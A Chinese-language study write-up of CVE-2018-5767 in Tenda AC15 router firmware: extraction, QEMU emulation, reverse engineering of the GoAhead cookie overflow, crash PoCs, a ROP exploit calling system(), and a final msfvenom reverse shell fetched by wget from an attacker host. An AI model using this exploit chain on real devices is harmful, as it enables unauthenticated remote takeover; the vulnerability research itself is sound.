CVE-2018-5767
搭建环境
解压&查看文件系统
unrar e US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar
使用binwalk
这里有两种方式:
1.直接用binwalk进行分离
binwalk -Me --run-as=root US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
2.先用binwalk进行分析,然后用unsquash提取Squashfs文件系统的镜像文件
# binwalk US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
64 0x40 TRX firmware header, little endian, image size: 10227712 bytes, CRC32: 0x314DBDAC, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x198CDC, rootfs offset: 0x0
92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4114848 bytes
1674524 0x198D1C Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8549574 bytes, 741 inodes, blocksize: 131072 bytes, created: 2015-11-19 09:36:43
# dd if=US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin bs=1 count=8549574 skip=1674524 of=image
8549574+0 records in
8549574+0 records out
8549574 bytes (8.5 MB, 8.2 MiB) copied, 15.5254 s, 551 kB/s
# unsquashfs image
Parallel unsquashfs: Using 16 processors
673 inodes (653 blocks) to write
[==================================================================================|] 1326/1326 100%
created 495 files
created 68 directories
created 175 symlinks
created 3 devices
created 0 fifos
created 0 sockets
created 0 hardlinks
第二条指令的解释
if 参数设置输入的文件,bs 是输入输出块的大小,count 是输入输出块的个数(抽取的总字节数可以理解为 bs * count),skip 是从文件头开始的偏移量,of 指定输出字节的保存位置
然后查看Linux 上的BusyBox
1、路由器基本都是阉割版的linux系统
2、架构以MIPS和ARM为主
3、一般含有telnet服务
4、很多基础命令以busybox的方式实现(如cat,chmod,date,echo,ifconfig,ls,kill等)
file ./bin/busybox && checksec ./bin/busybox
了解到架构信息为32位的ARM,字端序为LSB
注:这里想起来之前学长有推荐过firmware-analysis-plus,在看FAP的时候看到一篇Freebuf的文章,里面在FAP的基础上还需进行hook一些可能会导致报错的启动函数、补充库函数等的操作,以后有机会研究,以及放上相关的issue
代码分析
cp $(which qemu-arm-static) ./qemu
sudo chroot ./ ./qemu ./bin/httpd #切换root路径并进入ARM环境
这里卡在了Welcome to界面
参考这篇文章,等会另开一个terminal,使用IDA+QEMU remote
使用keypatch(IDA7.5Pro自带该plugin,快捷键Ctrl+Alt+K),patch完记得Apply patches to input file
patch直接贴图了,修改的地方只有一处,后面搭建环境会解释,看流程图也很简单清楚
发现出现以下字样
[httpd][debug]----------------------------webs.c,157
httpd listen ip = 255.255.255.255 port = 80
webs: Listening for HTTP requests at address 36.0.128.64
BackTrace_1th
回到IDA进行backtrace,对目标函数按x查看其交叉调用
int __fastcall sub_1A36C(const char *a1, int a2, int a3, char a4)
{
...
char *v8;
int v9;
uint16_t v12;
...
struct sockaddr s;
...
v12 = a2;
...
*(_WORD *)s.sa_data = htons(v12);
if ( a1 )
*(_DWORD *)&s.sa_data[2] = inet_addr(a1);
else
*(_DWORD *)&s.sa_data[2] = 0;
...
v8 = inet_ntoa(*(struct in_addr *)&s.sa_data[2]);
v9 = ntohs(*(uint16_t *)s.sa_data);
printf("httpd listen ip = %s port = %d\n", v8, v9);
...
}
确定部分执行流程
sub_2CEA8()// init func
sub_2D3F0()
sub_28030(port, retries)
sub_28338(a1, a2) //a1 = port || a2 = retries
sub_1A36C(v8, a1, websAccept, 0) //v8 = g_lan_ip
这里查阅相关资料,介绍了inet_ntoa和inet_addr函数的作用
in_addr结构表示 IPv4 Internet 地址
inet_ntoa函数将 (Ipv4) Internet 网络地址转换为采用 Internet 标准点十进制格式的 ASCII 字符串
inet_addr函数将包含 IPv4 dotted-decimal 地址的字符串转换为IN_ADDR结构的正确地址
ntohs函数可用于将网络字节顺序中的 IP 端口号转换为主机字节顺序中的 IP 端口号
追踪a1->v8->g_lan_ip,其赋值在loc_2D174处出现
v6 = getLanIfName(v4, v5);
if ( getIfIp(v6, v16) < 0 )
{
GetValue("lan.ip", s);
strcpy(g_lan_ip, s);
memset(v15, 0, sizeof(v15));
if ( !tpi_lan_dhcpc_get_ipinfo_and_status(v15) && v15[0] )
vos_strcpy(g_lan_ip, v15);
}
else
{
vos_strcpy(g_lan_ip, v16);
}
猜测getIfIp给v16赋值,后面g_lan_ip正常情况下赋值受v16影响
由于getIfIp为外部调用函数,先找到动态链接库so然后查看其函数原型
#readelf -d ./bin/httpd | grep NEEDED
0x00000001 (NEEDED) Shared library: [libCfm.so]
0x00000001 (NEEDED) Shared library: [libcommon.so]
0x00000001 (NEEDED) Shared library: [libChipApi.so]
0x00000001 (NEEDED) Shared library: [libvos_util.so]
0x00000001 (NEEDED) Shared library: [libz.so]
0x00000001 (NEEDED) Shared library: [libpthread.so.0]
0x00000001 (NEEDED) Shared library: [libnvram.so]
0x00000001 (NEEDED) Shared library: [libshared.so]
0x00000001 (NEEDED) Shared library: [libtpi.so]
0x00000001 (NEEDED) Shared library: [libm.so.0]
0x00000001 (NEEDED) Shared library: [libgcc_s.so.1]
0x00000001 (NEEDED) Shared library: [libc.so.0]
#grep "getIfIp" lib/*.so | nm -D lib/*.so | grep "getIfIp"
grep: lib/libcommon.so: binary file matches
grep: lib/libtpi.so: binary file matches
grep: lib/libxx.so: binary file matches
00003f68 T getIfIp #T或t:代码段的数据,也就是在.text段
U getIfIp
U getIfIp #U:符号未定义
该函数原型为
int __fastcall getIfIp(const char *a1, char *a2)
{
int v2;
char *v3;
char dest[20];
struct in_addr v8;
int fd;
fd = socket(2, 2, 0);
if ( fd < 0 )
return -1;
strncpy(dest, a1, 0x10u);
if ( ioctl(fd, 0x8915u, dest) >= 0 ) //define SIOCGIFADDR 0x8915 (get PA addr)
{
v3 = inet_ntoa(v8);
strcpy(a2, v3); //ASCIIStrings(v8.addr)->v3->a2
close(fd);
v2 = 0;
}
else
{
close(fd);
v2 = -1;
}
return v2;
}
再回到上面看v6取值,查看getLanIfName()函数原型
//v6 = getLanIfName(v4, v5);
int getLanIfName()
{
return get_eth_name(0);
}
get_eth_name存在于libChipApi.so中,查看其函数原型
const char *__fastcall get_eth_name(int a1)
{
const char *v1;
switch ( a1 )
{
case 0:
v1 = "br0";
...
default:
v1 = (const char *)&unk_5988;
break;
}
return v1;
}
总结:get_eth_name(0)->getLanIfName()->v6->getIfIp(v6, v16)->v16
BackTrace_2nd
让我们回到最初patch的地方
#grep "check_network" lib/*.so | nm -D lib/*.so | grep "check_network"
grep: lib/libcommon.so: binary file matches
000041c8 T check_network
0000684c T check_network_and_wait
在lib/libcommon.so中找到check_network函数原型
bool __fastcall check_network(int a1)
{
int v1;
v1 = j_getLanIfName();
//j_getLanIfName(void)->getLanIfName()->get_eth_name(0)
return j_getIfIp(v1, a1) >= 0;
//j_getIfIp(int a1, int a2)->getIfIp(a1, a2)
}
在BT1th中均有介绍相关函数原型,不再赘述,配置br0网卡后无需关心
BackTrace_3rd
接着是在lib/libCfm.so找到ConnectCfm
#grep "ConnectCfm" lib/*.so | nm -D lib/*.so | grep "ConnectCfm"
grep: lib/libCfm.so: binary file matches
00003490 T ConnectCfm
ConnectCfm函数原型为
int ConnectCfm()
{
int v0;
fd_mib = j_ConnectServer();
//j_ConnectServer()->ConnectServer()
if ( fd_mib > 0 )
{
j_SetTimeout(fd_mib);
v0 = 1;
}
else
{
puts("Connect to server failed.");
v0 = 0;
}
return v0;
}
ConnectServer函数原型如下,这里用到的是socket编程–sockaddr_in结构体操作
int ConnectServer()
{
sockaddr_un server_sockaddr;
int len;
int fd;
//socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
fd = socket(1, 1, 0);
if ( fd < 0 )
return fd;
len = 110;
memset(&server_sockaddr, 0, sizeof(server_sockaddr));
server_sockaddr.sun_family = 1;//猜测地址族AF_INET = 1
strncpy((char *)server_sockaddr.sun_path, "/var/cfm_socket", 0x6Bu);
//connect函数建立与指定套接字的连接
if ( connect(fd, (const struct sockaddr *)&server_sockaddr, len) != -1 )
return fd;
perror("connect");
close(fd);
return -1;
//当套接字创建成功时,返回套接字;失败则返回“-1”,错误代码写入“errno”中
}
这里/var/cfm_socket实在是不懂。。。选择patch
配置br0网卡
想偷懒建卡,结果运行直接segmentation fault,我错了。。老老实实配置网络环境
修改 /etc/network/interfaces
网卡配置文件
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
auto eth3
iface eth3 inet manual
auto br0
iface br0 inet static
address 192.168.20.12
netmask 255.255.255.0
gateway 192.168.20.2
bridge_ports eth3
bridge_stp off
bridge_maxwait 0
向/etc/qemu-ifup
中添加如下内容
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 3
然后配置网卡并重启服务
sudo chmod a+x /etc/qemu-ifup
sudo /etc/init.d/networking restart
sudo ifup br0
小插曲
访问192.168.20.12却返回Bad Request,找到大佬的解决方法
cp -rf ./webroot_ro/* ./webroot/
刷新后成功访问到主页
开始调试
sudo chroot ./ ./qemu -g 1234 ./bin/httpd
sudo gdb-multiarch ./bin/httpd
pwndbg> target remote:1234
pwndbg> c
漏洞细节及原理
An issue was discovered on Tenda AC15 V15.03.1.16_multi devices. A remote, unauthenticated attacker can gain remote code execution on the device with a crafted password parameter for the COOKIE header.
https://fidusinfosec.com/remote-code-execution-cve-2018-5767/
https://paper.seebug.org/2065/
https://www.mrskye.cn/archives/266/
https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/Tenda/CVE-2018-5767
https://yuanbaoder.gitee.io/posts/b5b.html
https://www.iotsec-zone.com/article?id=215
了解到这个WebServer用的GoAhead框架,该固件所用GoAhead框架的版本为2.1.8,github上有老哥留档
char *__fastcall sub_2A0B4(int a1)
{
...
sub_16E9C(&v9, 254, "%s/%s", "Http Server", "2.1.8");
...
}
查阅源码如下
GoAhead源码分析
首先将几个主要的结构体加入,因为下面分析过程中会有涉及
在IDA中通过头文件导入结构体以方便分析
View->Open Subviews->Local Types(SHIFT+F1)->Insert
整理后的结构体如下
typedef char char_t;
typedef int sym_fd_t;
// ./goahead/v2.18/ws031202/uemf.h
typedef struct {
unsigned char *buf; /* Holding buffer for data */
unsigned char *servp; /* Pointer to start of data */
unsigned char *endp; /* Pointer to end of data */
unsigned char *endbuf; /* Pointer to end of buffer */
int buflen; /* Length of ring queue */
int maxsize; /* Maximum size */
int increment; /* Growth increment */
} ringq_t;
// ./goahead/v2.18/ws031202/webs.h
typedef struct websRec {
ringq_t header; /* Header dynamic string */
time_t since; /* Parsed if-modified-since time */
sym_fd_t cgiVars; /* CGI standard variables */
sym_fd_t cgiQuery; /* CGI decoded query string */
time_t timestamp; /* Last transaction with browser */
int timeout; /* Timeout handle */
char_t ipaddr[32]; /* Connecting ipaddress */
char_t type[64]; /* Mime type */
char_t *dir; /* Directory containing the page */
char_t *path; /* Path name without query */
char_t *url; /* Full request url */
char_t *host; /* Requested host */
char_t *lpath; /* Cache local path name */
char_t *query; /* Request query */
char_t *decodedQuery; /* Decoded request query */
char_t *authType; /* Authorization type (Basic/DAA) */
char_t *password; /* Authorization password */
char_t *userName; /* Authorization username */
char_t *cookie; /* Cookie string */
char_t *userAgent; /* User agent (browser) */
char_t *protocol; /* Protocol (normally HTTP) */
char_t *protoVersion; /* Protocol version */
int sid; /* Socket id (handler) */
int listenSid; /* Listen Socket id */
int port; /* Request port number */
int state; /* Current state */
int flags; /* Current flags -- see above */
int code; /* Request result code */
int clen; /* Content length */
int wid; /* Index into webs */
char_t *cgiStdin; /* filename for CGI stdin */
int docfd; /* Document file descriptor */
int numbytes; /* Bytes to transfer to browser */
int written; /* Bytes actually transferred */
void (*writeSocket)(struct websRec *wp);
} websRec;
typedef websRec *webs_t;
typedef websRec websType;
// ./goahead/v2.18/ws031202/wsIntrn.h
typedef struct {
int (*handler)(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
char_t *url, char_t *path,
char_t *query); /* Callback URL handler function */
char_t *webDir; /* Web directory if required */
char_t *urlPrefix; /* URL leading prefix */
int len; /* Length of urlPrefix for speed */
int arg; /* Argument to provide to handler */
int flags; /* Flags */
} websUrlHandlerType;
简化版的initWebs函数原型,省略号里面都是一些初始化操作
// ./goahead/v2.18/ws031202/webs.h
/*
* URL handler flags
*/
#define WEBS_HANDLER_FIRST 0x1 /* Process this handler first */
#define WEBS_HANDLER_LAST 0x2 /* Process this handler last */
// ./goahead/v2.18/ws031202/LINUX/main.c
static int initWebs()
{
...
/*
* First create the URL handlers.
* Note: handlers are called in sorted order with the longest path handler examined first.
* Here we define the security handler, forms handler and the default web page handler.
*/
websUrlHandlerDefine(T(""), NULL, 0, websSecurityHandler,WEBS_HANDLER_FIRST);
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
websUrlHandlerDefine(T(""), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST);
...
return 0;
}
查看原生的websSecurityHandler函数,没什么太大的参考价值,基本都被魔改了
// ./goahead/v2.18/ws031202/security.c
int websSecurityHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
char_t *url, char_t *path, char_t *query)
{
...
}
下面为websUrlHandlerDefine函数原型
// ./goahead/v2.18/ws031202/uemf.h
...
#endif /* VXWORKS #elif LYNX || LINUX || MACOSX || SOLARIS*/
...
#define gstrcmp strcmp
...
// ./goahead/v2.18/ws031202/wsIntrn.h
/*
* URL handler structure. Stores the leading URL path and the handler
* function to call when the URL path is seen.
*/
typedef struct {
int (*handler)(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
char_t *url, char_t *path,
char_t *query); /* Callback URL handler function */
char_t *webDir; /* Web directory if required */
char_t *urlPrefix; /* URL leading prefix */
int len; /* Length of urlPrefix for speed */
int arg; /* Argument to provide to handler */
int flags; /* Flags */
} websUrlHandlerType;
// ./goahead/v2.18/ws031202/handler.c
/*********************************** Locals ***********************************/
static websUrlHandlerType *websUrlHandler; /* URL handler list */
static int websUrlHandlerMax; /* Number of entries */
/*
* Define a new URL handler. urlPrefix is the URL prefix to match.
* webDir is an optional root directory path for a web directory.
* arg is an optional arg to pass to the URL handler.
* flags defines the matching order.
* Valid flags include WEBS_HANDLER_LAST, WEBS_HANDLER_FIRST.
* If multiple users specify last or first,
* their order is defined alphabetically by the urlPrefix.
*/
int websUrlHandlerDefine(char_t *urlPrefix, char_t *webDir, int arg,int (*handler)(webs_t wp, char_t *urlPrefix, char_t *webdir, int arg, char_t *url, char_t *path, char_t *query), int flags)
{
websUrlHandlerType *sp;
int len;
a_assert(urlPrefix);
a_assert(handler);
/*
* Grow the URL handler array to create a new slot
*/
len = (websUrlHandlerMax + 1) * sizeof(websUrlHandlerType);
if ((websUrlHandler = brealloc(B_L, websUrlHandler, len)) == NULL) {
return -1;
}
sp = &websUrlHandler[websUrlHandlerMax++];
memset(sp, 0, sizeof(websUrlHandlerType));
//bstrdup() returns a pointer to a newly allocated copy of string.
sp->urlPrefix = bstrdup(B_L, urlPrefix);
sp->len = gstrlen(sp->urlPrefix);
if (webDir) {
sp->webDir = bstrdup(B_L, webDir);
} else {
sp->webDir = bstrdup(B_L, T(""));
}
sp->handler = handler;
sp->arg = arg;
sp->flags = flags;
/*
* Sort in decreasing URL length order observing the flags for first and last
*/
qsort(websUrlHandler, websUrlHandlerMax, sizeof(websUrlHandlerType),
websUrlHandlerSort);
return 0;
}
static int websUrlHandlerSort(const void *p1, const void *p2)
{
websUrlHandlerType *s1, *s2;
int rc;
a_assert(p1);
a_assert(p2);
s1 = (websUrlHandlerType*) p1;
s2 = (websUrlHandlerType*) p2;
if ((s1->flags & WEBS_HANDLER_FIRST) || (s2->flags & WEBS_HANDLER_LAST)) {
return -1;
}
if ((s2->flags & WEBS_HANDLER_FIRST) || (s1->flags & WEBS_HANDLER_LAST)) {
return 1;
}
if ((rc = gstrcmp(s1->urlPrefix, s2->urlPrefix)) == 0) {
if (s1->len < s2->len) {
return 1;
} else if (s1->len > s2->len) {
return -1;
}
}
return -rc;
}
comparison function which returns a negative integer value if the first argument is less than the second, a positive integer value if the first argument is greater than the second and zero if the arguments are equivalent.
如果compare返回值< 0,那么p1所指向元素会被排在p2所指向元素的前面
如果compare返回值= 0,那么p1所指向元素与p2所指向元素的顺序不确定
如果compare返回值> 0,那么p1所指向元素会被排在p2所指向元素的后面
贴上修改函数名后的部分代码
websUrlHandlerDefine(byte_B38D4, 0, 0, (int)R7WebsSecurityHandler, 1);
websUrlHandlerDefine("/goform", 0, 0, (int)websFormHandler, 0);
websUrlHandlerDefine("/cgi-bin", 0, 0, (int)webs_Tenda_CGI_BIN_Handler, 0);
websUrlHandlerDefine(byte_B38D4, 0, 0, (int)websDefaultHandler, 2);
sub_3FBF0(); //初步判断为一个goform的后缀表单
websUrlHandlerDefine("/", 0, 0, (int)sub_2D698, 0);
所以实际应用场景initWebs()函数定义的websUrlHandler大致处理顺序为
R7WebsSecurityHandler->(judged by url prefix,'/cgi-bin'or'/goform'or'/')->default
这里主要分析漏洞相关函数的运行逻辑,从相关源码看出,websUrlHandlerDefine会根据用户当前访问的URL前缀来寻找对应处理的Handler。例如,如果访问路径以/goform开头,就会转至websFormHandler处理
websUrlHandlerDefine("/goform", 0, 0, (int)websFormHandler, 0);
至此,相关简单函数调用步骤分析结束,如需要深入分析其运行流程可参考这篇
R7WebsSecurityHandler
存在漏洞处:
if ( a1->cookie )
{
v38 = strstr(a1->cookie, "password=");
if ( v38 )
sscanf(v38, "%*[^=]=%[^;];*", v31);
else
sscanf(a1->cookie, "%*[^=]=%[^;];*", v31);
}
sscanf函数所用的正则表达式中,%*[^=]
表示将匹配到的非=
字符丢弃,%[^;]
表示匹配到的非;
字符,所以该正则表达式%*[^=]=%[^;];
匹配的字符为password=
后的值,这里用一个demo演示下
#include <stdio.h>
int main(int argc, char** argv)
{
char a[] = "password=|divide|123456;";
char b[256] = {0};
sscanf(a,"%*[^=]=%[^;];",b);
printf("%s",b);
return 0;
}
// Output:|divide|123456
在到达该漏洞点之前还有一长串判断条件,这里直接借用其他师傅的图,简单明了。
图:
注意,下面使用自制PoC时URL前缀必须是实际存在的,我开始使用/test/test
测试的时候老是想不明白为什么这个路径不行,没注意到判断条件中实际上已经存在该判断,但需要修改数据类型为*websRec a1,才能清楚得知该判断条件
...
if ( strncmp(s1, "/public/", 8u)
&& strncmp(s1, "/lang/", 6u)
&& !strstr(s1, "img/main-logo.png")
&& !strstr(s1, "reasy-ui-1.0.3.js")
&& strncmp(s1, "/favicon.ico", 0xCu)
&& a1->url // "new" condition
&& strncmp(s1, "/kns-query", 0xAu)
&& strncmp(s1, "/wdinfo.php", 0xBu)
&& (strlen(s1) != 1 || *s1 != '/')
&& (strncmp(s1, "/goform/telnet", 0xEu) || g_Pass && strcmp(&g_Pass, "YWRtaW4="))
&& strncmp(s1, "/goform/fast_setting", 0x14u)
&& strncmp(s1, "/goform/ate", 0xBu)
&& strncmp(s1, "/goform/InsertWhite", 0x13u)
&& strncmp(s1, "/yun_safe.html", 0xEu)
&& strncmp(s1, "/goform/getWanConnectStatus", 0x1Bu)
&& strncmp(s1, "/goform/getProduct", 0x12u)
&& strncmp(s1, "/goform/getRebootStatus", 0x17u)
&& (i <= 2 || strncmp(s1, "/loginerr.html", 0xEu)) )
{
...
}
简单PoC为
import requests
url = "http://192.168.20.12/login.html"
cookie = {"Cookie":"password="+"A"*1000}
requests.get(url=url, cookies=cookie)
立马有了Segmentation fault
Program received signal SIGSEGV, Segmentation fault.
0x3fe23954 in strstr () from /root/Desktop/squashfs-root/lib/libc.so.0
pwndbg> bt
#0 0x3fe23954 in strstr () from /root/Desktop/squashfs-root/lib/libc.so.0
#1 0x0002c5cc in ?? ()
查看0x2c5cc前汇编
.text:0002C568 sub_2C568
...
.text:0002C5AC STR R3, [R11,#var_18]
.text:0002C5B0 LDR R3, [R11,#var_18]
.text:0002C5B4 STR R3, [R11,#var_14]
.text:0002C5B8 LDR R0, [R11,#haystack] ; haystack
.text:0002C5BC LDR R3, =(aHttp_1 - 0xD23AC) ; "http://"
.text:0002C5C0 ADD R3, R4, R3 ; "http://"
.text:0002C5C4 MOV R1, R3 ; needle
.text:0002C5C8 BL strstr
.text:0002C5CC MOV R3, R0
...
再查看该sub_2C568在R7WebsSecurityHandler中的调用条件
char v31[128]; // [sp+304h] [bp-1C0h]
void *v40; // [sp+4A0h] [bp-24h]
...
memcpy(s, s1, 0xFFu);
...
if ( strlen(s) <= 3
|| (v40 = strchr(s, 46)) == 0 // 46 -> '.'
|| (v40 = (char *)v40 + 1, memcmp(v40, "gif", 3u))
&& memcmp(v40, "png", 3u)
&& memcmp(v40, "js", 2u)
&& memcmp(v40, "css", 3u)
&& memcmp(v40, "jpg", 3u)
&& memcmp(v40, "jpeg", 3u) )
{
if ( !v42 )
{
...
}
if ( i > 2 )
{
...
if ( g_Pass )
{
...
for ( i = 0; i <= 2; ++i )
{
if ( !*((_BYTE *)&loginUserInfo + 36 * i) )
{
...
goto LABEL_113;
}
}
if ( i != 3 )
goto LABEL_113;
LABEL_113:
...
sub_2C568((int)a1, v22, (int)v31, 1);
...
return 0;
}
可以借助在URL中加入.png
的特殊字符串以跳出循环,然后通过构造的ROP链进行GetShell。但这里v31为我们输入的password值,必然会覆盖v40,只需在password值后加上特定后缀即可
贴上一篇ARM漏洞挖掘基础
使用新的payload判断offset长度
pwndbg> cyclic 500
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
new PoC
import requests
ip = "192.168.20.12"
url = "http://%s/login.html"%ip
offset = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"
cookie = {"Cookie":"password="+offset+'.png'}
r = requests.get(url=url, cookies=cookie)
收到Segmentation fault
Program received signal SIGSEGV, Segmentation fault.
0x6561616c in ?? ()
...
────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
R0 0x0
*R1 0xb3cf7 ◂— ldr r0, [r0, #0x20] /* 0x736a00 */
*R2 0x67
R3 0x0
*R4 0x65616169 ('iaae')
*R5 0x6561616a ('jaae')
*R6 0x6561616b ('kaae')
*R7 0x4080078a ◂— cmp r7, #0x2e /* 0x69622f2e; './bin/httpd' */
*R8 0xd938 (_init) ◂— stm r0!, {r0, r2, r3} /* 0xe1a0c00d */
*R9 0x2cea8 ◂— ldr r0, [pc, #0x40] /* 0xe92d4810 */
*R10 0x408005f8 ◂— 0
*R11 0x6561616c ('laae')
*R12 0x407ffbe3 ◂— lsls r7, r4, #1 /* 0x2910067; 'g' */
*SP 0x407ffbb0 ◂— str r6, [r5, #0x14] /* 0x6561616e; 'naaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae.png' */
*PC 0x6561616c ('laae')
看到覆盖return addr后的PC值为0x6561616c
本来应该用cyclic查看其偏移长度
pwndbg> cyclic -l laae
444
但需注意
这里涉及到ARM模式(LSB=0)和Thumb模式(LSB=1)的切换,栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。此时在gdb中执行
p/t $cpsr
以二进制格式显示CPSR寄存器。如下图所示,发现T位值为1,因此需要在之前报错的地址上加一还原为0x6561616f
(“maae”)
重新计算偏移长度
pwndbg> cyclic -l maae
448
offset length已知,PC可控,接下来开始构造ROP
漏洞验证
POC
checksec
# checksec ./bin/httpd
[*] '/root/Desktop/squashfs-root/bin/httpd'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
使用ROPGadget
# ROPgadget --binary ./lib/libc.so.0 --only "pop"
Gadgets information
============================================================
...
0x00018298 : pop {r3, pc}
# ROPgadget --binary ./lib/libc.so.0 |grep "mov r0, sp ; blx"
Gadgets information
============================================================
...
0x00040cb8 : mov r0, sp ; blx r3
pwndbg> print __libc_system
$2 = {<text variable, no debug info>} 0x3fe3f270 <system>
pwndbg> info symbol __libc_system
system in section .text of /root/Desktop/squashfs-root/lib/libc.so.0
# nm -D lib/libc.so.0 | grep "system"
...
0005a270 W system
ROP流程为
payload = offset(448)
cyclic444个字符加上.png
正好为448的偏移
payload += pop_r3_pc_iaddr + system_faddr + mov_r0_sp_blx_r3_iaddr
第一个gadget先让PC指向pop {r3, pc}
,把system_faddr
的值pop到r3
中,并将下一条指令mov r0, sp ; blx r3
的地址pop到PC中,这样就完成了程序流的控制
payload += cmd
第二个gadget执行的mov r0, sp ; blx r3
指令将当前栈顶指针SP指向的cmd
值pop到r0
中,r0
为传参的第一个寄存器,最后通过分支控制指令blx
执行system
函数
代码如下
from pwn import *
import requests
context.log_level='debug'
ip = "192.168.20.12"
url = "http://%s/login.html"%ip
cmd = "echo hack"
off_len = 444
sys_addr = 0x5a270
libc_base = 0x3fde5000 #0x3fe3f270 - 0x5a270
pop_r3_pc = 0x18298
mov_r0_sp_blx_r3 = 0x40cb8
payload = cyclic(off_len) +'.png' # 444 + 4 = 448 offset
payload += p32(libc_base +pop_r3_pc) + p32(libc_base + sys_addr) + p32(libc_base + mov_r0_sp_blx_r3)
payload += cmd
cookie = {"Cookie":"password="+payload}
requests.get(url=url, cookies=cookie)
EXP
与CTF不同的是,对于这种网络服务,进行溢出后进行ROP泄露地址再ret2libc的方法并不好用
- 泄露地址后往往需要返回main函数重新输入溢出数据,但是由于配置等问题可能导致失败
- 泄露地址不能通过
puts
等标准输出函数,而是需要向与用户连接的socket中输出而其实对于该路由器而言
- 栈地址与堆地址都是随机的(如果用qemu模拟环境可能是固定的),不能直接使用libc中的gadget
- 开启了NX保护不能使用shellcode
- 没有开启pie保护,程序基址还是固定的
- 由于路由器为arm架构,程序中固定的地址最高位基本都是
x00
攻击机上命令为
msfvenom -p linux/armle/shell/reverse_tcp LHOST=192.168.154.128 LPORT=4444 -f elf > payload.elf
payload中的cmd为
wget http://192.168.154.128:8000/payload.elf && chmod +x * && ./payload.elf
msfconsole命令为
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lhost 192.168.154.128
run
BooFuzz
待更新学习记录
https://blog.csdn.net/song_lee/article/details/104334096
https://www.fatalerrors.org/a/0dVx2Ds.html
https://p1kk.github.io/2021/03/29/iot/Tenda AC15 CVE-2018-5767 CVE-2020-10987/
Q.E.D.